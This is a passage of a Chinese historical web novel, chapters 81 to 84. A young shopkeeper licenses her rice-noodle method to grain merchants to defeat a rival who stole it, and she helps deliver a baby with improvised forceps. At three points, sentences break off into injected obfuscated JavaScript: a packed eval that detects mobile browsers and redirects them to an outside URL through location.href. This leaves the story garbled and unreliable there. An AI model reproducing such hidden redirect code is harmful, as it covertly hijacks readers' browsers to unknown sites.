绿珠不仅曲儿唱得婉转动人，连人也是柔媚无骨，周老板擦去嘴角的口水，他也就敢望梅止渴，想入非非了，谁叫家里还有只母老虎呢。 不过这并不影响他的好心情，年前有人突然找上门来，提出以比丰收米线作坊低三成的价跟他合作，条件是让他单方面撕毁跟丰收米线签下的合约。虽说做生意讲究诚信，但利益面前谁能不动心？在商言商嘛，他这么安慰自己。 “周老板，新年好啊！” “王，王小娘子？！”周老板惊讶得下巴都快掉下来了，磕磕巴巴道：“你，你如何知道我在此处？” 王文茵嫣然一笑，拉开椅子顾自坐下，拿起桌上的茶壶给周老板斟茶，轻描淡写道：“我去米粮铺问了周老板家的大娘子，是她告诉我的。” “噗——”周老板一口茶都喷了，掩着嘴咳得气都快提不上来了。 王文茵一脸无辜，“周老板，别喝太急，这茶水烫，我忘了说。” 周老板的脸憋得像猪肝，好不容易缓过气来，用力捶着胸口摇头，“无……无碍，小娘子寻我可有急事？” 王文茵从袖袋中拿出一份契约，摊开放在桌上朝周老板推过去，“周老板单方面毁约也没个正式通知，这事儿做的可不地道呀。” 精明的周老板呵呵笑，将契约又推了回去，开始哭穷：“小娘子你是不懂我的苦，我只是一名小商人，哪家给我更多的利润，那我自然跟哪家合作，是也不是？” 王文茵表示理解，“可以理解，在商言商嘛，所以我今日来便是想跟周老板重新谈合作，保证让你赚得盆满钵满。” 周老板精神一振，两只原本不大的眼睛唰的放亮，态度瞬间有了一百八十度转变，谦恭道：“小娘子打算怎么合作？” 81. 第八十一章 王文茵不急不忙拿起自己面前那杯茶，放到嘴边轻轻吹气，少少抿一口，随后掀起眼皮朝桌上的契约努努嘴，示意周老板，“这便是新的合作契约。” 周老板诧异地盯着桌上的契约一瞬，快速抓起来打开浏览，像是不敢置信一般又从头到尾仔细读了一遍，这才从契约书中抬起来头，问：“小娘子是打算将米线作坊囫囵卖与我？” 王文茵真要怀疑周老板的阅读理解能力，故意糗他：“周老板没上过私塾？” 没想到歪打正着。 十几年前周大福跟着老娘一路逃荒到朱仙镇，母子俩在街头要饭的时候遇到好心的前任周记米粮铺的老板。老板见他们母子可怜便施舍了一袋米给他们，脑子灵光的周大福当即给米粮铺老板下跪磕头，说愿意卖身为奴，只求给他老娘一个安身之所。米粮铺老板见他一片孝心，又勤快能干，便留他在铺子里当跑腿的伙计。 周大福从扛米打杂的底层做起，每日天还没亮他便去码头收粮，回到铺子后又将前后院子洒扫干净，还给老板一家做好早饭。自己则跟老娘蜗居在后院的柴房里，吃剩菜剩饭。米粮铺老板只有一个女儿，貌丑体壮，年纪比周大福还长三岁，到了出嫁的年龄一直说不上亲。 米粮铺老板打算招个上门女婿继承家业，见周大福来了以后自家闺女总是有意无意提点他，便有心认下这个赘婿，提出的条件是要周大福改姓。周大福心里虽不情愿，奈何人穷志短，老娘突然生了场大病，他就给自己做主入赘了周记米铺。 有了周家赘婿的身份，自然是不用再干跑腿搬粮打杂的苦力活了，米粮铺老板便让周大福跟着自己学记账识字做生意。周家的米粮铺原先不过是朱仙镇上规模最小的其中一家，在周大福的协助下生意越做越大，短短几年便成了朱仙镇上名头最响，铺面最大的那一家。 不过赘婿再能干也还是要防一手，米粮铺老板担心自己走了以后闺女被吃独户，便将家中的财政大权提前交给女儿掌管。不得不说，这一招确实狠。周家大娘子手握米粮铺财政大权，相当于将孙悟空玩弄于股掌之间的如来佛，谅你周大福也逃不出大娘子的手掌心，更别提纳妾包养外室了。 “说起来都是泪。”周老板提及自己的身世眼泪都快掉下来了，拿出帕子掖了掖干巴巴的眼角：“别看我现在这么胖，我也是苦出身，什么罪没受过。” 王文茵有些尴尬，她并不知道周老板的身世，糗他不过是因为他失信在前，结果倒显得自己很无礼，讪笑着给周老板道歉：“是我冒犯了，还望周老板莫见怪。” 周老板深吸一口气，摆了摆手道：“不知者无罪，我确实识字不多，不如小娘子将这契约内容直接说与我听？” 适才忆往昔的功夫，周大福一心二用又将契约偷偷看了一遍。他虽识字不多，但这契约内容写得简单又直白，怎么可能看不懂呢，这不过是讨价还价的小伎俩罢了。 王文茵也不傻，她的心智早已是成年人，周老板耍的这点小心机又怎么骗得了她。 “周老板哪里看不懂便指出来，我解释与你听，可否？” 生意场上混久的人习惯□□耍点小手段试探对方的底，不过周大福一直有种奇怪的感觉，王小娘子看着虽年幼，却一点不像个孩子，知道没法糊弄她，便呵呵笑道：“小娘子这契书上写着打算将制作米线的技术转让与我，是想让我接手丰收村米线作坊吗？” 王文茵摇头，“非也。只是转让技术而已，丰收村米线作坊不卖。” 周大福不解：“只是转让技术便要我一百两银子？” 王文茵点头，“正是。” 周大福嘿嘿笑，心说，王小娘子谈起生意来可比我黑多了。 “这买卖不划算啊。”周大福装模作样拿起杯子啜一口茶，咂咂嘴将茶叶渣滓啐到地上，慢条斯理道：“小娘子想必也知道朱仙镇新开的白记米线作坊给出的价比你们丰收村米线作坊低三成呐，我又何必费那劲自己搞一个米线加工作坊，是也不是？” 王文茵不上套，反问道：“周老板可知白记米线作坊背后的老板是何人？” 周老板微微一愕，随即反应过来，掩饰道：“这我哪知道啊。” “难道不是汴京城七十二家正店之首的樊楼范家吗？” 周老板心下暗惊，面上却不表露，嘿嘿笑道：“小娘子既已打听清楚了，还问我做啥？” 王文茵十分坦然，眯了眯眼，道：“周老板可知白记米线作坊是从何处得来做米线的技术的？” 这个问题盘旋在周大福脑中很久了，按理说王小娘子是不可能把这么重要的技术传授给白记的，但若不是王小娘子那便是白记从其他地方学来。可他四处打听过，在丰收村米线作坊开业前几乎没人知晓米线的制作方法。 “这个，我怎么可能知道。”周大福眼珠子转了转，压低声问道：“莫非小娘子知道？” 王文茵撇嘴一笑，“我当然知道，他们呀，就是从我们丰收村米线作坊偷学去的呗。” 周大福瞳孔地震，“可不兴乱说，白记背后可是樊楼范家，人家家大业大，犯不着做这等下作之事。” 王文茵摇了摇头，精明的小商人周老板使的那些手段到了真正的奸商面前不过是小巫见大巫而已。 “前不久我们丰收村米线作坊新招了一批流民做工，当中混入了一名叫‘老闫’的细作，此人行为诡异，被发现后当夜便跑路了。我着人去县衙打听后方才得知，假‘老闫’给了真‘老闫’一笔钱后冒名顶替潜入米线作坊窃取了做米线的技术。” “竟然有这种事！”周大福咂舌，早知道丰收村米线作坊这么容易潜入，我也就……哎，算了，犯法的事不能做。“小娘子如何得知这个假‘老闫’是白记派去的细作呢？” 王文茵回想起之前在白记米线作坊门口遇到假“老闫”的画面，张二嫂几乎是第一眼便认出了他，冲上前去揪着他要去见官。结果被一众伙计包围恐吓，大言不惭斥责她们诽谤生事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185710|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说此人乃是白记米线作坊的掌柜白起正，也就是樊楼范家大娘子的亲兄弟，是汴京城里有头有脸的人物，怎么可能干得出细作这种勾当来。 “我们作坊里的人都认得他，只是苦于没有证据便只能作罢。”王文茵道。 周老板跟白掌柜有生意上的往来，自然知道对方的身份，义正严词道：“真是没想到白掌柜竟然会做出这种事来！”周老板真正想说的是这个白起正竟然如此奸诈，今后同他打交道可得小心谨慎，避免着了他的道。 王文茵像是看穿了周老板的心思，提醒他：“周老板可知白掌柜为何要用比我们作坊低三成的价同你合作？” 当然是为了打垮你们呗，周老板在心里这么说，嘴上却道：“想必是新作坊刚开业，想多拉点客户吧。” “周老板应该心里也清楚，我们作坊的利润本就不高，若是比我们还低三成，那便是亏本的买卖。” 那还用说！周老板呵呵笑：“这个我就不清楚了。” “若是我们作坊被白记逼迫倒闭，那整个朱仙镇，哦不对，是整个汴京便只剩一家白记米线作坊能做米线咯。” 周老板点头，“确实如此。” “如此一来，白记便掌握了定价权，到时候他想抬价便抬价，想压价便压价，是也不是？” “是，是……”周老板顿时惊觉，一巴掌拍在桌子上，震得杯子茶壶都翻倒了，“感情白掌柜是想一家独大，吞吃了整个米线市场啊！” 孺子可教也。王文茵端起自己的茶杯啜了一口，轻飘飘道：“可不是嘛。” 周老板握拳，骨节发出咯咯声，脑子里转了几个弯后，试探道：“小娘子将这制作米线的技术转让与我，是想让我制衡白记？” “非也。”王文茵轻轻一笑：“我是想将这下金蛋的鸡卖与周老板呢。” “此话怎讲？” “周老板买下这全套技术便可自己投资一家米线作坊，如此一来，没有了中间商赚差价，也不再受制于人，岂不更好？” 周大福刚想满口应下，心思一转，又问道：“这技术小娘子只卖与我一人？” 王文茵摇头，“自然不是。” 周大福满心的欢喜落了空，一脸失望，“若还有其他竞争对手，那我买这技术何用？” 王文茵故作惊讶，“周老板当真不明白？” “明白什么？” “技术这东西赚的就是一个时间差。白记能从我这儿偷走技术，自然也会有人如法炮制。做米线的技术从问世到普及只是一个时间问题，你不买也有旁人买，做的越早，自然赚的比后来者更多，是也不是？” 周大福心里直打鼓，他知道王文茵说的是对的，虽然一百两银子不是小数目，却也不是什么天价，想赚回来并不难。 王文茵看出周大福已经动心了，又顺手推了他一把，“再者，市场这么大，一家两家怎么可能全吃下。越早做大越容易成功，这叫抢占先机，懂不懂？” 82. 第八十二章 周大福在心里盘算，既然王小娘子能转让技术给他，那便意味着他也可以把技术转让给别人，光靠转让技术也能赚他一大笔钱，何况大宋朝境内那么多路州县，随便找一处地方开一家米线作坊都能让他赚得盆满钵满。最重要的是他终于有了可以脱离母老虎的借口，打着开分号的名义去外地包养妾室，简直一举三得。 周大福装模作样将那份契约重新拿起，皮笑肉不笑道：“我还有一个问题，望小娘子指教。” “周老板请说。” “小娘子转让技术的目的是？” 王文茵敛起笑容，用一种不像她这个年龄该有的冷静理性的口吻说道：“打击利用不正当手段恶性竞争，稳定米线的市场价，让白记米线彻底出局。” 周老板心下暗暗佩服，点头道：“小娘子说的是，良性竞争才是做生意的长远之道。” **** 跟周大福签完技术转让契约收到定金后王文茵便从勾栏出来，还没到门口便看到张二嫂跟一名年轻的女子在说话，走近一看竟是适才在台上唱曲儿的那名歌伎。 “婶子。”王文茵唤了一声，打断了两人的交谈。 张二嫂转头见到王文茵便上前来低声问她谈判结果，王文茵给她比了个手势，表示已经搞定。 张二嫂笑逐颜开，拉着王文茵过去给她介绍：“绿珠小姐【注1】，这位便是我家王小娘子。小娘子，这位绿珠小姐是玉瑶的同乡。” 王文茵跟绿珠互相行礼见好，她适才同周大福谈判的时候就注意到周大福的眼神时不时朝台上的绿珠瞄，所以便留个心。这会子面对面发现这位绿珠小姐虽然生的妩媚，眼神却冷清犀利，跟一般的勾栏女子不太一样，令她生出一见如故的亲切感来。 在王文茵打量绿珠的同时，绿珠也在暗中观察她，很早就从玉瑶口中得知兴隆堂的老板是位年仅十岁的小娘子，一直很好奇这位王小娘子究竟是何方神圣，年纪小小便能跟赵太医家合伙开香料铺子。如今一见果然不同凡响，王小娘子虽然年纪不大，周身气度却全然不似十岁女娃该有的成熟睿智。 “绿珠姐姐要当心米粮铺的周老板，他家大娘子可不是好惹的。”王文茵忍不住出言提醒。 绿珠莞尔一笑，拉起王文茵的小手道：“小娘子放心，我早已将周老板偷偷摸摸来勾栏给我捧场的事儿告知了他家大娘子。” 王文茵恍然，掩嘴咯咯笑，“难怪周大娘子知道周老板的行踪，感情是姐姐暗中通风报的信呀。” 绿珠撇嘴，“周大福是个赘婿，靠着岳丈起家的，不过是有了点小钱就嫌弃糟糠妻，我生平最恨这种吃绝户的臭男人，自然不会给他好脸子看。” 王文茵反手握住绿珠纤细的手，“姐姐明辨是非，又爱憎分明，难怪我对姐姐有种一见如故的亲切感。” 绿珠噗嗤一笑，“我说呢，适才妹妹同周大福谈事儿的时候将他拿捏的死死的。” 王文茵实在太喜欢绿珠了，刚想邀请她一道儿去兴隆堂坐坐，迎面却跑来一个身上穿着打满补丁旧衣裳的男子。 男子不顾气喘，两眼通红，扑通一下跪在绿珠面前，把她们几个都吓了一跳。 “绿珠小姐，听闻你有起死回生术，求你快去救救我家娘子吧？”男子说完给绿珠咚咚咚磕头。 绿珠伸手虚扶了一把，温言道：“这位阿兄，我非神仙，并无起死回生之术，你且说说看，你家娘子得了什么病，我能帮尽量帮。” 王文茵十分惊讶，悄声问张二嫂：“怎么绿珠姐姐还是女大夫？” 张二嫂附在她耳畔悄声道：“听闻绿珠小姐本是官宦人家出身，后因其父落罪入狱，不堪折磨病死狱中，其母不久也撒手人寰。可怜年幼的绿珠小姐一夕之间成了孤儿，家中叔父不愿收养她，便将她卖入了行院【注2】。一个官宦人家的小娘子沦为艺伎，换做是旁人怕是早已活不下去，但绿珠小姐非但没寻死，还在行院里刻苦学习技艺，慢慢打响名头，成为行院头牌‘点酥娘’。”【注3】 “不过绿珠小姐并不打算一辈子困在行院中，一次偶然的机会她遇见了自己父亲的故友。这位故友曾是一名太医，因感念绿珠小姐父亲生前对他的知遇之恩，便将绿珠小姐收为了干女儿。自那以后绿珠小姐便跟在陈太医身边学医，还伴他一路行医，悬壶济世。“【注3】 “去年陈太医过世后绿珠小姐又回到汴京，栖身勾栏一边卖唱，一边为勾栏中女子看病。因她医术高超，兼之收费低廉，又擅长治疗妇科疾病，名声便渐渐传了开去。自那以后，但凡有难言之隐的娘子第一时间都会想到找她问诊治疗。”【注3】 王文茵闻言感动莫名，“想不到绿珠姐姐竟有如此传奇又励志的经历。” 绿珠同男子谈完，转身歉意地朝王文茵颔首，“今日事出突然，改日有空我再去拜访小娘子，可否？” 王文茵忙道：“姐姐尽管去忙自己的事，待姐姐得空可来丰收村的静缘庵寻我玩。” 绿珠含笑道了声好便随着男子急匆匆离开了。 望着她们离去的背影，张二嫂提醒道：“小娘子，跟周老板合作的事可谈妥了？” 说到这个王文茵才回过神来，比了个后世代表胜利的手势，“已经搞定了，定金也收了。” 张二嫂乐呵道：“我就知道小娘子出马没有搞不定的人。” “不是我厉害。”王文茵摇头：“生意人心中都有一杆秤，哪头更有利他们便会向那头倾斜。” “说的是呢。”张二嫂嘴里这么说，心里想的却是只有王小娘子是个例外，她做的每一件事都能带来巨额的利润，但她却并不把利益放在第一位。 “其他几家米粮铺子的老板可通知到了？”王文茵问道。 “通知到了。” “那好，咱们一家家找过去谈判。” 整整一下午，王文茵跟张二嫂分别与朱仙镇的米粮铺老板商谈了技术转让事宜，有当场拍板同意的，也有犹豫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191661|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定说要再考虑考虑的。王文茵自然不会勉强，当即表示会给对方时间考虑，想要技术转让随时可以找她。 一天忙碌下来，傍晚回到兴隆堂两人的腿都快断掉了，结果刚一进门就看到绿珠在后院焦急地等她们回来。 “王小娘子。”绿珠一见到王文茵就迫不及待走上前来行礼。 注意到绿珠满头是汗，脸上满是疲惫的焦容，王文茵吃了一惊，问道：“绿珠姐姐这是怎么了？” “小娘子，我想求你一件事。” “姐姐不必客气，有我能帮得上的一定在所不辞。” 绿珠感激一笑，“可否请小娘子替我引荐赵太医？” 王文茵不解：“赵太医家的医馆便在隔壁，姐姐是有什么为难之处吗？” “先前那位王大哥的娘子难产已经一天一夜了，我去看过，胎儿的头太大，出不来，产妇体力已不支，若是再拖延下去，孩子怕是会窒息死亡。”绿珠愧疚道：“以我目前的医术怕是无法解救产妇与胎儿，只能恳请赵太医出面了。” “赵太医在汴京城，一来一回至少要两个时辰，产妇与胎儿未必能等得到他赶来。”王文茵低头沉思片刻后脑中闪过一道光，问道：“姐姐适才说胎儿是因头太大卡住了出不来，是不是？” “是。”绿珠急得汗流浃背，一双手微微颤抖。几年前她也曾遇到过产妇因胎儿卡头难产死亡的病例，同样的悲剧再次上演，她却依旧束手无策，令她深感自责。 “我有一个办法！”王文茵道：“可以试试用产钳。” “产钳是什么东西？”绿珠闻所未闻。 王文茵让张二嫂取来笔墨纸砚，当场将产钳画了下来给绿珠看，“用这把钳子夹住胎儿的脑袋用力将胎儿拉出来便成。” 绿珠拿起画纸看了片刻后大喜，“好办法！我怎么就想不到，小娘子果然聪慧过人！” 王文茵尬笑，“这产钳可不是我发明的，是从别的大夫那儿学来的。” 绿珠又犯愁：“只是光有这图该去何处将这产钳打造出来？” “绿珠小姐别急，朱仙镇上有一位西域打铁匠，手艺精湛，做这把产钳不在话下。”张二嫂道：“我这就带你过去。” 张二嫂本想让王文茵留在铺子里休息，可王文茵放不心，于是她们二人连同绿珠主仆一道去西域铁匠阿隼的打铁铺定制产钳。 阿隼拿到图纸后二话不说，叮叮当当便开始打铁，没多一会儿就将一把精致的产钳锻造出来，还细心地将产钳表面的毛刺都磨平了。 “用的时候再裹一层布便不会划破胎儿的皮肤了。”王文茵提议道。 绿珠立刻叫身边的侍女秋月回去取上好的丝绸，三人带着产钳一同前往王家给产妇接生。 经过一夜的忙碌，产妇顺利诞下一名男婴，看着大声啼哭的婴儿和死里逃生的产妇，绿珠同王文茵激动不已，两人相拥而泣。 这一刻，王文茵的脑中又蹦出了一个新的想法。 83. 第八十三章 大年初一，王文茵奔波在朱仙镇各家米粮铺子间商谈米线技术转让事宜，晚上还同绿珠一道儿抢救了一名产妇和婴儿。 大年初二，天还没亮王文茵就率领张二嫂、李阿萍、鲁大他们几人赶去了汴京城。 汴京，北宋的首都，人口逾百万，由外城、内城、皇城、与宫城四重城垣组成。城内有汴河、蔡河、五丈河、金水河四河贯城，是各地贡赋物品漕运通达京师的主要物流途径，被称为京城的生命线。四条运河尤以汴河最为繁荣，沿河两岸是首都经济贸易的中心地带，遍布邸店、酒楼、商业行市等。【注1】 隋唐时期，长安城是由坊墙围合而成的里坊制，城市景观呆板单调。到了北宋，官府逐渐放开政策，允许市民在街道两侧种树、掘井，搭建凉棚。同时为了促进经济发展，临街的坊墙被邸店替代，街道不再只是交通枢纽，也是市民观光、聚会、交流的场所。厢坊制因此逐渐取代了里坊制，商业布局也由唐长安封闭的坊市制变成了宋东京开放的街市制。【注1】 汴京城内共有8厢120坊，城外又有9厢14坊，当中以“南河北市”的商业区最为著名。“南河”指的是城南的汴河沿岸，“北市”则是城北的马行街、潘楼街一带，这里不仅有邸店、药铺、夜市，还有果子行、肉行和米行。【注1】 从朱雀门进入汴京内城，沿着南门大街直走便是赫赫有名的州桥，过了州桥便是直通宫城的御街，御街右侧是右一厢，左侧是左一厢。【注1】 王文茵在南门大街靠近州桥的坊巷租了两辆马车，对其余三人道：“今日要跑的铺子比较多，咱们分开行动，坐马车能省脚力，还能节约时辰。婶子你同鲁大去找右一厢那边几家最大的米粮铺子谈判，我跟阿萍去左一厢那几家。今日时间紧，任务重，能跑几家是几家，晚上咱们回朱仙镇再碰头。” “好嘞。”张二嫂二话没说，带着鲁大乘马车前往右一厢。 右一厢，全称叫右军第一厢，内有乐台坊、新昌坊、光化坊、兴国坊、宣化坊、常乐坊、利仁坊、敦义坊，共计八坊，约7000户。【注1】 王文茵前往的左一厢，全称左军第一厢，位于南北御街之东，宣德门至曹门大街以南，以汴河为界，划为南北两部分，共计20坊。北区从新街口至州桥，内有太平坊、明殿坊、福善坊、信陵坊、安业坊、通利坊、宣平坊；南区从汴河至内城南墙，内有通济坊、宝积坊、兴宁坊、嘉善坊、崇德坊、景宁坊、昭德坊、兴道坊等坊。【注1】 汴京最大的几家米粮商便均布在这二十八坊之中。 左一厢比右一厢坊多，米粮铺排布更稠密，王文茵选择去左一厢的主要原因是要先去赵太医府上通知赵元宁初三提前收割甘蔗，运往丰收村制糖的事。 赵家府邸位于福善坊，离大相国寺所在的信陵坊很近。 王文茵到的时候门房说赵元宁随同父母兄长出去拜年了，估计要到晚上才回来，于是便给他留下口信，委托门房转交，还提了一嘴说自己今日来汴京城各大米粮铺谈合作，明日便回丰收村。 办完这事儿她又马不停蹄带着阿萍前往汴京最大的米粮商陈记的铺子去了。 陈记的老板先前风闻朱仙镇的李记米线风味独特，亲自赶到朱仙镇品尝后当场跟阿萍签订了一份契约，这也是米线作坊迄今为止接到的最大的一笔订单。阿萍居功至伟，王文茵还给了她抽成。 昨日得知周老板那边的订单被白记米线坊给截胡的消息后，阿萍立马赶去汴京的陈记米粮铺探听口风，果不其然，陈记也有单方面毁约的打算。 “陈老板说他做生意素来讲究诚信，单方面毁约是他有错在先，所以他愿意拿出一笔钱补偿我们的损失。”阿萍心有不甘，愤愤道：“白记实在太可恨了！偷我们的技术，还想挖我们的墙脚。” 王文茵靠在车厢背上闭目养神，不疾不徐道：“人为财死鸟为食亡，生意场上像白记这样的人只多不少，不过于我们而言未尝就是坏事，危机有时候往往便是转机。” “可是小娘子，若咱们把米线技术转让给了周老板他们，那他们不是一样可以转让给旁人？”阿萍惴惴不安道。 “技术既然已经转让出去，倒二手、三手转让都是不能避免的事。” “那万一周老板用比咱们更低的价格将技术转让给陈老板，该如何是好？” 王文茵缓缓睁开眼，“周记米粮铺同陈记米粮铺是竞争关系，若是周老板用比咱们低的价格转让技术给陈老板，陈老板首先会怀疑对方是否使诈，所以我赌陈老板不会轻易跟周老板合作。”她笑了笑道：“再则，咱们不还有杀手锏嘛。” 阿萍一拍脑门，笑道：“差点忘了，有了杀手锏，我就不信陈老板不答应。” **** 陈记米粮铺的老板陈大同见王文茵突然来访，诧异之余顿感尴尬。他从商多年，一直以诚信闻名，这次因为米线订单单方面违约实在有损努力打造多年的良心商人人设，于是权衡利弊忍痛提出：“单方面违约是我的错，实在事出有因，还望小娘子体谅，不如这样，我愿赔付三倍的违约金于你，可否？” 王文茵淡然一笑，坦率问道：“陈老板毁约是因白记米线坊背后有樊楼范家的关系？” 陈老板料到王文茵定然已经查清楚了白记的背景才会来找自己谈判，也不隐瞒，点头道：“确实如此。我同范家素有生意往来，白记又是范老板的小舅子开的作坊，这个面子我不能不卖，并不是因为他给的价格比你更优惠的缘故。” “陈老板无须道歉，我理解你的处境，只是有件事必须让你知晓。”王文茵将白记如何混入丰收村米线作坊窃取技术后又以低价方式抢夺生意的实情原原本本告诉了陈大同。 陈大同听完震惊不已。一开始白起正拿着比丰收村米线坊低三层的契约来找他合作的时候他是拒绝的，这三成利润看着多，但他陈大同是个要脸的人，诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199550|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信二字焊死在他脑门上，怎么能为了点蝇头小利做出自毁形象的事。 但白起正另有一层身份，他是樊楼范老板的妻弟，同为汴京商圈的会员，他当然知道范老板是如何将白家的樊楼改姓了范，也知道白起正早些年不受他那个姐夫待见，怕的就是他夺权。不过两年前白起正独自跑了一趟西北边塞，跟党项人做了几单大买卖后，便从范家独立出去，不再参与范家的生意了。 陈大同原本只是怀疑白起正山寨了丰收村米线坊的技术，没料到他竟是用这么不要脸的方式窃取别人的劳动成果，心里已经产生了极大的反感。这种下三滥的手段能用来对付王小娘子，一样也能用来对付他陈大同，不防着他怕是早晚都会栽在他手里。 “这件事……我确实不知，惭愧。”陈老板弥补道：“既然如此那我回绝了白记便是。” 王文茵却摆手，“陈老板误会了，我今日前来不是为了米线的订单，我来是想跟陈老板谈新的合作。” “什么合作？” 王文茵将技术转让契约书递了过去，陈老板仔细读完后不解看她，“王小娘子为何要将这么重要的技术转让给我？” “自然是为了修理白记米线坊。”王文茵一派怡然，“用下三滥的手段窃取技术，还想搞恶性低价竞争，这般人品不该被修理吗？” “应该，应该，呵呵。”陈老板嘴上这么说，心里想的是王小娘子看起来不像是睚眦必报之人，白记虽然可恶，但也不至于为了报复白记把这么重要的技术随随便便给卖了吧。 王文茵看出陈老板的疑惑，坦言：“实不相瞒，我打算转型，今后丰收村米线作坊便不再以加工米线为主业了。” 这话勾起了陈老板的好奇心，“小娘子打算转型做什么营生？” “我呀，我搞了个生态农场，打算自己种菜养牲畜，再把这些农作物牲禽加工成农副产品出售，作坊以后就改成食品加工厂了。” 陈大同去过丰收村，知道那里满打满算也就一百多户农民，王小娘子搞的这个什么农副产品加工业对他这个体量的米粮商来说都不够塞牙缝的，便客套道：“看来小娘子是真的打算放弃米线买卖了？” 王文茵笑了笑，“非也。我只是放弃米线加工产业，改做米线餐饮而已。另外，我打算将李记米线开到汴京城来。” 陈大同马上反应过来，“所以小娘子来同我谈合作不止是转让技术，还要让我给李记米线供货是不是？” “正是。”王文茵含笑道：“这是双赢的合作，陈老板可乐意？” “乐意！当然乐意！”陈大同搓手笑道：“今后小娘子开米线铺子，我就给小娘子供应米线，李记的米线定能在汴京城开出几十家分店。” **** 从陈记米粮铺出来后，王文茵正准备上车赶往下一家，身后突然传来一道声音：“王小娘子——” 王文茵转头去看，竟是文安世和他的侍从陈武。 84. 第八十四章 一大早将祖母送到大相国寺礼佛后，文安世便带着陈武出来看铺子。 昨日听陈武绘声绘色描述王文茵在除夕夜为众人做的一大桌“自助餐”年夜饭后，他便对她提出的快餐店更加期待了。要知道他们国子监的食堂伙食可是出了名的难吃，若是能怂恿王文茵将快餐店开在国子监附近，既满足了口腹之欲，又能时常见到她，简直不要太美好。 于是趁今日得空，文安世便约了庄宅牙人（房屋中介）出来看铺子，他打算暗中先把好铺子租下，再委托庄宅牙人转租给王文茵。 只不过计划赶不上变化，主仆二人这才刚从大相国寺出来，远远便看见一道熟悉的身影从陈记米粮铺出来，正要踏上马车的脚凳。 “咦，那不是王小娘子吗？”嘴巴比脑子快的陈武已经挥手喊了起来：“王小娘子——” 文安世想阻止已经来不及，王文茵缓缓转过身来，见是文安世主仆，便迎上前来问候。 “七衙内，新年快乐！”王文茵朝文安世福了一福。 文安世还之以礼，“小娘子，新年安康！今日来汴京是游玩吗？” 王文茵摇头，“来处理一些生意上的急事。” 文安世心里一动，“可是为了开‘快餐店’一事？” 还没等王文茵否认，阿萍已经抢先开口告状了：“七衙内，我们小娘子被人欺负了！” 这话一听就很容易让人误会，王文茵赶紧阻止阿萍，“阿萍，别胡说！”又转头向文安世解释：“算不上欺负，只是某些不守规矩的人使了点下三滥的手段恶性竞争罢了，我已经想办法解决了。” 文安世皱起眉头，他知道事情一定不像王文茵说的这么简单，不然她不会大过年的跑汴京城来处理问题。 “究竟发生了何事？”文安世将视线转向了阿萍。 阿萍素来心直口快，也忍不下这口气，她跟文安世告状是下意识认为文家这样的家世才能压制白记米线坊，既然白记不仁，那她们就不义，仗势欺人谁还不会了。 文安世听完阿萍的陈述，紧锁的眉头又缓缓松开了，在听到王文茵提出用技术转让的方式围堵白记米线坊后，忍不住扬起嘴角夸赞：“确实是个好办法！” 阿萍原以为文安世闻言会大怒，并扬言要替王小娘子出头，结果他居然只是夸小娘子的办法好，就这？ 阿萍不开心，嘟着嘴嘀咕：“七衙内也不帮咱们小娘子出头。” 王文茵用手指弹了一记阿萍的额头，痛得阿萍哎哟叫唤。 一旁看戏的陈武笑嘻嘻道：“你这话就说错了，不是我们七衙内不想替小娘子出头，是小娘子不想麻烦我们七衙内，小娘子若是想让七衙内帮忙，早就说了不是？” 文安世斜乜了陈武一眼，心说难得陈武也有机灵的时候。经过这段时间相处，他多少有些了解王文茵的性格，她并不喜欢欠人情，如果他主动替她出头反而惹她反感，他才不傻呢。 “七衙内想必还有事要忙，我们也要赶去其他米粮铺拜访，不如就此别过。”王文茵向文安世告辞。 文安世刚要回应，对面匆匆跑来一个人，边跑边喊：“七衙内，小的来晚了，七衙内恕罪——” 文安世看清来人，心里大喊“不好”！ 还没来得及阻止，对方已经跑到了他们面前，喘着粗气，滔滔不绝道：“我帮七衙内寻到了一处良铺，就在国子监附近，特别适合拿来做那个叫什么‘快餐店’的食肆。” 正要转身离开的王文茵又回过头来，直直看向文安世。 文安世避开她探询的目光，抬头看天，含糊其辞回道：“……是吗，那就好。” 王文茵挑起一边眉，古怪地笑道：“七衙内也打算开‘快餐店’吗？” 庄宅牙人这才注意到王文茵，见她虽然衣着朴素，却气度不凡，不知是何来历。但看她同文安世说话的态度，想来应该也是高门大户人家的女眷，自然不敢怠慢，便恭恭敬敬向王文茵行礼道：“回小娘子的话，并非是七衙内要开‘快餐店’，是衙内的莫逆之交计划在国子监附近开食肆，托付衙内帮忙寻找合意的铺子。” “是莫逆之交啊——”王文茵拖长尾音，表情夸张，似笑非笑地看着文安世。 文安世窘得恨不得找个地洞钻了，想了想又觉得自己没错，一本正经道：“正是在下的莫逆之交，小娘子不同意吗？” 